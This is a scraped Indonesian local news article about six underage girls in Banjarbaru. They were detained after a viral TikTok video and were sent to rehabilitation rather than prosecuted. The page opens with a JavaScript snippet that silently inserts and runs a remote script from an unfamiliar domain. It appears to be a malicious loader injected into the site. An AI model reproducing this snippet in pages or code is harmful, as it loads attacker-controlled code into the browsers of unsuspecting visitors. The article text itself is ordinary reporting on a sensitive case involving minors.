(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru telah memutuskan untuk tidak melanjutkan kasus 6 remaja wanita di bawah umur yang diamankan pada Kamis (20/2/2020) kemarin, ke ranah hukum.
Hal tersebut diungkapkan, Kepala Satpol PP Kota Banjarbaru Marhain Rahman melalui PPNS Seksi Opsdal Yanto Hidayat. Kepada Kanalkalimantan.com, Yanto mengatakan bahwa 6 remaja wanita tersebut hanya akan dilakukan pembinaan.
“Tidak kita lanjutkan. Saat ini mereka sudah didampingi oleh Dinas Pemberdayaan Perempuan dan Perlindungan Anak. Semua remaja wanita itu hanya akan direhab karena masih dibawah umur,” kata, Jum’at (21/2/2020) siang.
Kini, 6 remaja wanita tersebut telah dititipkan ke rumah singgah milik Dinas Sosial Kota Banjarbaru. Menurut informasi yang diterima Kanalkalimantan.com, para orang tua remaja ini juga telah didatangkan.
Seperti yang diberitakan sebelumnya, diamankannya 6 remaja wanita ini, merupakan hasil giat Satpol PP Kota Banjarbaru bersama Dinas Perlindungan Perempuan dan Anak Kota Banjarbaru, dalam menindaklanjuti tentang viralnya video remaja di salah satu aplikasi media sosial yakni TikTok.
Informasi yang berhasil dihimpun Kanalkalimantan.com, video viral yang dimaksud ialah tayangan yang mempertontonkan seorang wanita paruh baya, sedang berjoget di dalam kamar hotel, menikmati lagu menggunakan aplikasi TikTok. Namun yang menjadi perhatian, di belakang wanita tersebut sedang ada seorang pria dan wanita sedang berhubungan intim. Semua itu nampak jelas dalam video berdurasi 14 detik yang ramai beredar.
Baca juga: Berawal Viral TikTok di Banjarbaru, 6 Remaja Bawah Umur Diciduk, Salah Satunya PSK Online
Adapun 6 wanita itu berinisial IR, KH, MA, NV, SC, dan MW. Kasatpol mengatakan di antara 6 wanita ini, salah satunya terduga kuat berprofesi sebagai PSK online.
“Ada satu remaja wanita yang diduga menjalani bisnis prostitusi online. Semua remaja yang kita amankan masih dikategorikan di bawah umur. Para remaja wanita ini kita dititipkan ke Rumah Singgah Berkarakter Kota Banjarbaru (Dinsos) untuk ditindak lebih lanjut keesokan harinya,” katanya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.